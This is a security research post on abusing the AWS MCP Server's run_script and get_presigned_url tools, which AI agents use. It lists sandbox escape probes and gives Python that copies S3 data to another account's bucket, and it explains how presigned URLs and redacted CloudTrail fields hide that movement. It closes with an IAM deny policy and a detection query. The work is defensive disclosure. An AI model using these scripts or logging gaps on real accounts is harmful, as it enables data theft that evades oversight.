Overview
My previous post, Stealing an Agent’s AWS Token, covered how to generate a new authentication token outside the sandbox, and ended with the role deciding what it could reach. By looking at its tool calls, we can see how the events are logged in CloudTrail, and how a call to the AWS MCP Server appears as one management event. It tells you who called, from where, which tool, and when. Then I found HIDDEN_DUE_TO_SECURITY_REASONS in the event log, and the script had no secrets in it, so why was it redacted?
That led me to test one of the tool calls, aws___run_script, which runs code that interacts with the AWS account. What happens if we send a script directly instead of prompting the agent? The LLM turns a prompt into a tool call, but here I used the direct-call approach from my previous article, to see if it turns up anything interesting.
According to the documentation, the tool can run Python code, so it was worth trying a few scripts to see what works. The table below is what happened.
| Attempt | Response |
|---|---|
import socket, import urllib.request | Blocked import |
await asyncio.open_connection(…) | Blocked module function: “Networking, subprocess, and event loop access are not allowed.” |
getattr, vars, globals, locals, exec, eval, __import__, importlib | Blocked function / Blocked import |
x.__class__, object.__subclasses__(), a dunder in a string | Blocked attribute access / Blocked attribute traversal |
class Beacon: | NameError: __build_class__ not found |
open("/etc/passwd") | passes validation, then PermissionError: File access restricted to /tmp/ |
You might notice the last attempt returned a file access error. That tells us the restriction is real and enforced at the point the file is opened, and AWS clearly builds these limits into the managed server so a user cannot escape it. It makes sense for a service shared across customers rather than a dedicated MCP server per AWS account.
Reading AWS MCP Events in CloudTrail
The last post read the records for a token grant. These are the records for the tool calls. The request is the same as before, one tools/call with a script in arguments.code. The reply carries status, stdout and api_calls, and that last one lists every AWS API the script touched.
That makes the sandbox a Python runtime with a boto bridge attached. Anything the role allows is one call_boto3 away, and the code around it is ordinary Python. To check, I had a script create an EC2 key pair, describe it, and delete it again.
A simple create-and-delete key pair is enough to see how the response looks.
name = "mcp-demo-" + str(int(time.time()))
k = await call_boto3(service_name="ec2", operation_name="CreateKeyPair", params={"KeyName": name})
d = await call_boto3(service_name="ec2", operation_name="DescribeKeyPairs", params={"KeyNames": [name]})
await call_boto3(service_name="ec2", operation_name="DeleteKeyPair", params={"KeyName": name})
The script above returns the following.
{
"status": "success",
"stdout": "created: mcp-demo-1796372273 key_material_chars: 1674\ndescribed: ['mcp-demo-1796372273']\ndeleted: mcp-demo-1796372273\n",
"api_calls": [
{ "service": "ec2", "operation": "CreateKeyPair", "status": "success" },
{ "service": "ec2", "operation": "DescribeKeyPairs", "status": "success",
"n_items": { "KeyPairs": 1 } },
{ "service": "ec2", "operation": "DeleteKeyPair", "status": "success" }
]
}
Three AWS calls came back inside one tools/call, and api_calls names each of them. The create returned 1,674 characters of private key to the script, which printed only its length. The reply gives the caller a complete account of the run.
The event log for that run:
{
"eventVersion": "1.11",
"eventSource": "aws-mcp.amazonaws.com",
"eventName": "CallReadWriteTool",
"eventTime": "2026-12-04T08:17:54Z",
"eventType": "AwsMcpEvent",
"userIdentity": {
"type": "IAMUser",
"arn": "arn:aws:iam::111122223333:user/Administrator",
"sessionContext": {
"signInSessionArn": "arn:aws:signin:us-east-1:111122223333:session/7e70ab43-..."
}
},
"sourceIPAddress": "2404:8000:...:48bf",
"userAgent": "curl/8.7.1",
"requestParameters": {
"jsonrpc": "2.0",
"method": "tools/call",
"id": 2,
"params": {
"name": "aws___run_script",
"arguments": "[HIDDEN_DUE_TO_SECURITY_REASONS]"
}
},
"responseElements": {
"jsonrpc": "2.0",
"id": 2,
"result": "[HIDDEN_DUE_TO_SECURITY_REASONS]"
},
"additionalEventData": {
"downstreamRequests": [
{ "apiName": "ec2:CreateKeyPair", "requestId": "5a6c553c-..." },
{ "apiName": "ec2:DescribeKeyPairs", "requestId": "2f9c387e-..." },
{ "apiName": "ec2:DeleteKeyPair", "requestId": "f750e20b-..." }
]
},
"requestID": "15372e80-1711-477a-90aa-b896ce6774bf",
"readOnly": false
}
The script printed a length and a key name, nothing secret, and the whole field was still hidden. That is the thing to understand. The marker does not mean a secret was found. The field is hidden because of what it is, not because of what it contains. What is worth looking at is additionalEventData.downstreamRequests. It names every AWS call the script made, and each requestId matches the effect event, even though the top-level requestID does not.
A script that does nothing with AWS looks the same. I ran one that summed a thousand squares and printed hello from the sandbox, total: 332833500. The log still records one CallReadWriteTool, both fields redacted, and no additionalEventData at all. The reply said api_calls: null. So the log tells us a tool ran and touched no AWS API, but nothing else.
You also cannot tell how much data moved. A ten-byte call and a two-megabyte one look the same in the log, because the record has no content and no size.
| Direction | What it counts | Limit |
|---|---|---|
| In | the whole request body, the JSON-RPC message that wraps the script | 512,000 bytes |
| Out | the whole reply, the JSON that carries stdout, stderr, return_value and api_calls | 2 MB |
Neither number measures the data the script handles. A script can read a 50 MB object and write it somewhere else without going near the cap, because those bytes never become part of the reply. The cap only applies when the data has to leave as text.
It takes 512 KB in and gives 2 MB out. That is a channel for getting things out of the account, not for sending instructions into it.
Both numbers came from pushing past them. A script that printed 4 MB of text came back with Tool 'run_script' output size (5461.50KB) exceeds maximum allowed size (2048.00KB). A script body of 620 KB came back with Request body size (620147 bytes) exceeds maximum limit (512000 bytes). The service states its own ceiling when you pass it.
On the output side, the script just built a string and printed it, and I changed the length each time.
import base64
data = "A" * 1048576
blob = base64.b64encode(data.encode()).decode()
print("LEN:", len(blob))
print(blob)
For the input side, the body had to be generated rather than typed, so I wrote the JSON to a file and posted that.
python3 -c "
import json
code = 'data = \"' + 'A' * 620000 + '\"'
print(json.dumps({'jsonrpc':'2.0','id':2,'method':'tools/call',
'params':{'name':'aws___run_script','arguments':{'code':code}}}))" > body.json
curl -s -X POST https://aws-mcp.us-east-1.api.aws/mcp \
-H "Authorization: Bearer $TOK" -H "mcp-session-id: $SID" \
-H 'Content-Type: application/json' -d @body.json
Outputs of 64 KB, 171 KB, 683 KB and 1.37 MB came back intact, and 4 MB was refused. On the way in, a 300 KB body passed and a 620 KB one was refused. That was the whole method, sending a size and reading the error that came back.
Getting Past the 2 MB Reply Limit
The answer is not to return the data at all. Write it straight to S3 instead, so the reply only carries a summary. I looped four PutObject calls inside one script.
import base64
total = 0
for i in range(4):
blob = base64.b64encode(b"A" * 1048576).decode()
r = await call_boto3(service_name="s3", operation_name="PutObject",
params={"Bucket": BUCKET, "Key": f"exfil/bulk/big{i}.b64",
"Body": blob})
total += len(blob)
print("written_b64_bytes:", total)
Four objects of 1 MB each went out in one call. The reply was a single line, written_b64_bytes: 5592416, which is 5.3 MB moved while the response stayed under 30 bytes. The run took 9 seconds, api_calls listed the four writes, and CloudTrail recorded one tool call.
If a run takes longer than about 96 seconds, the call stops waiting and returns {task_id, status: "working"}. aws___get_tasks polls that id for the result. A task belongs to the MCP session that created it, so another session cannot read it.
Everything in this run stayed inside the account. Carrying the bytes out is the next question.
Data Exfiltration via AWS MCP Server
Have you thought about this? The event is logged, but we can still use the tool itself to exfiltrate data. At the beginning we covered that sending data out of the sandbox does not work, yet we can still use any AWS service inside it and send the data over that service to a different account. The example below copies an object from this account’s bucket into another account’s bucket.
Even in the log, neither the bucket nor the file name appears, unless the trail records S3 data events.
src = await call_boto3(service_name="s3", operation_name="GetObject",
params={"Bucket": SRC, "Key": KEY})
await call_boto3(service_name="s3", operation_name="PutObject",
params={"Bucket": DST, "Key": KEY, "Body": src["Body"]})
The bytes never reach stdout, so the 2 MB cap does not apply, and the loop from the previous section turns a single key into a whole prefix. api_calls lists both operations in the reply.
CloudTrail keeps one event for the copy, and the list sits inside it.
{
"eventName": "CallReadWriteTool",
"userAgent": "curl/8.7.1",
"requestParameters": { "params": { "name": "aws___run_script",
"arguments": "[HIDDEN_DUE_TO_SECURITY_REASONS]" } },
"responseElements": { "result": "[HIDDEN_DUE_TO_SECURITY_REASONS]" },
"additionalEventData": {
"downstreamRequests": [
{ "apiName": "s3:GetObject", "requestId": "0AKX9XTYSVD30ZTA", "awsRegion": "us-east-1" },
{ "apiName": "s3:PutObject", "requestId": "0AKPBKWXMYJ4FDQV", "awsRegion": "us-east-1" }
]
}
}
The copy leaves no S3 event of its own in CloudTrail. GetObject and PutObject are data events, and the event history only keeps management events, so neither call appears there unless a trail turns on data events. That leaves the list attached to the tool call as the only record of the read and the write.
Both calls above are made by the role itself. There is another tool that works differently. It hands back a signed URL, and a machine outside the account, our laptop for example, can use that to reach the bucket. That tool is get_presigned_url.
One call returns a URL for upload or download, usable by anyone without AWS credentials, valid for up to 15 minutes, and a single upload can be 5 GB. The script never moves the data itself, and the URL arrives in the redacted reply, so the log never sees it.
The reply for a single request:
[
{
"url": "https://bucket.s3.us-east-2.amazonaws.com/presign/read-test.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=<akid>/20261204/us-east-2/s3/aws4_request&X-Amz-Date=20261204T102321Z&X-Amz-Expires=600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=<session-token>&X-Amz-Signature=<sig>",
"http_method": "GET",
"operation": "download",
"bucket": "bucket",
"key": "presign/read-test.txt",
"region": "us-east-2",
"expires_in": 600
}
]
The region is the bucket’s, not the session’s, so a bucket in another region still works.
There is one extra event for this, and it is not in the downstream list. Minting the URL makes its own S3 call, s3:GetBucketLocation from aws-mcp.amazonaws.com in my test, at the same second as the tool event. That call’s event has no additionalEventData at all, so the two records join only by timestamp.
The URL stays out of the log too. Both payload fields are hidden, and searching the raw event for X-Amz-Signature returns nothing.
{
"eventName": "CallReadWriteTool",
"eventCategory": "Management",
"requestParameters": { "params": { "name": "aws___get_presigned_url",
"arguments": "[HIDDEN_DUE_TO_SECURITY_REASONS]" } },
"responseElements": { "result": "[HIDDEN_DUE_TO_SECURITY_REASONS]" },
"readOnly": false
}
The URL is a credential in query-string form. The one I minted carried the access key id, a 1,060-character session token and a signature, and I fetched it from a shell with an empty environment and got 200 back. Anyone who gets that URL has the role’s access to that key until it expires.
Jarom Brown’s talk, AWS Presigned URLs: The Good, The Bad, and the Ugly, covers presigned URLs across AWS more broadly.
What IAM Can Still Block
AWS documents a way to block any AWS action that comes from the MCP Server, using aws:ViaAWSMCPService. It is set on requests the server forwards, and not set when the same identity calls AWS directly.
This policy blocks a few sensitive actions, but only when the request comes through the MCP server.
{
"Version": "2012-10-17",
"Statement": [{
"Sid": "DenyDataPlaneViaMCP",
"Effect": "Deny",
"Action": ["s3:PutObject", "s3:GetObject", "dynamodb:GetItem",
"lambda:InvokeFunction", "secretsmanager:GetSecretValue"],
"Resource": "*",
"Condition": { "Bool": { "aws:ViaAWSMCPService": "true" } }
}]
}
Attach it to the role as an inline policy, or put it in an SCP to cover every role in the account. The condition is a boolean, so the value is the string "true". If you need to name one MCP service instead of any, aws:CalledViaAWSMCP carries the service name, and aws:IsMcpServiceAction covers the MCP actions themselves rather than the AWS calls behind them.
I tested s3:PutObject on a role, in both directions. The rest of the policy comes from the docs, and only one action was exercised against the account.
| Action in the policy | Checked against the account |
|---|---|
s3:PutObject | yes |
s3:GetObject, dynamodb:GetItem, lambda:InvokeFunction, secretsmanager:GetSecretValue | no, same condition key |
The three calls below are the ones I ran.
| Call | Result |
|---|---|
Direct PutObject with the role’s credentials | success |
PutObject through run_script | AccessDenied |
print()-only script through run_script | success, api_calls: null |
The third row is the one that matters. print() makes no AWS call, so IAM has nothing to check. It can block what the script does, but not what it hands back.
Everything above describes the managed server. AWS also ships a self-hosted one, awslabs.aws-api-mcp-server, and none of it applies there. It never runs code, so there is no sandbox to escape. The tool accepts AWS CLI command strings and turns away anything that is not an AWS command, which is validation, not isolation. Calls leave with the credentials of whoever started the server, so CloudTrail sees ordinary IAM, S3 or STS events, with no redaction and no downstreamRequests. The aws:ViaAWSMCPService condition does not apply either, since nothing passes through the managed front end. AWS lists that server as end of development, with the managed service as its replacement.
Detecting AWS MCP Abuse
By now we know there is a blind spot when using the AWS MCP Server. So what can we still detect?
additionalEventData.downstreamRequests lists every AWS API the script called, by name, with the region and a request id. Even with the content hidden, we still know which APIs ran.
For detection, this is the field to build on. If a role has never touched a service through MCP and then does, it appears here first. A read followed by a write inside one event is the copy pattern we saw earlier, and a list with many entries means the script was looping through something.
Two gaps matter. If additionalEventData is missing, the script made no AWS call at all, so there is nothing to match against. And the list only holds calls the script made through call_boto3. When the tool makes a call itself, the way it does when minting a presigned URL, that call is missing from the list. The region lookup behind the URL, s3:GetBucketLocation, lands in CloudTrail as a separate event with no list of its own.
The query below runs it from the CLI and groups the event history by principal and API, so a pair that shows up for the first time is easy to spot.
aws cloudtrail lookup-events --region us-east-1 \
--lookup-attributes AttributeKey=EventSource,AttributeValue=aws-mcp.amazonaws.com \
--query 'Events[].CloudTrailEvent' --output text \
| tr '\t' '\n' \
| jq -Rr 'fromjson? | . as $e
| (($e.additionalEventData.downstreamRequests // []) | map(.apiName)) as $a
| (if ($a | length) == 0 then ["no-api-call"] else $a end)[]
| [$e.userIdentity.arn, .] | @tsv' \
| sort | uniq -c | sort -rn
The output for my account looks like this.
35 arn:aws:iam::111122223333:user/Administrator no-api-call
32 arn:aws:iam::111122223333:user/Administrator s3:PutObject
5 arn:aws:iam::111122223333:user/Administrator s3:GetObject
3 arn:aws:iam::111122223333:user/Administrator sts:GetCallerIdentity
2 arn:aws:iam::111122223333:user/Administrator s3:ListObjectsV2
1 arn:aws:iam::111122223333:user/Administrator ec2:DescribeKeyPairs
1 arn:aws:sts::111122223333:assumed-role/mcp-deny-test/test1 s3:PutObject
1 arn:aws:sts::111122223333:assumed-role/mcp-deny-test/test1 no-api-call
no-api-call is a script that touched nothing, and the counts show how often each API ran.
The other fields give context around that list. signInSessionArn groups calls by the token that made them, so counting sessions per principal shows how many tokens exist. userAgent and sourceIPAddress describe the client rather than AWS, so a caller that does not match the usual client stands out. In an account that never used the server, the event source alone is enough to alert on.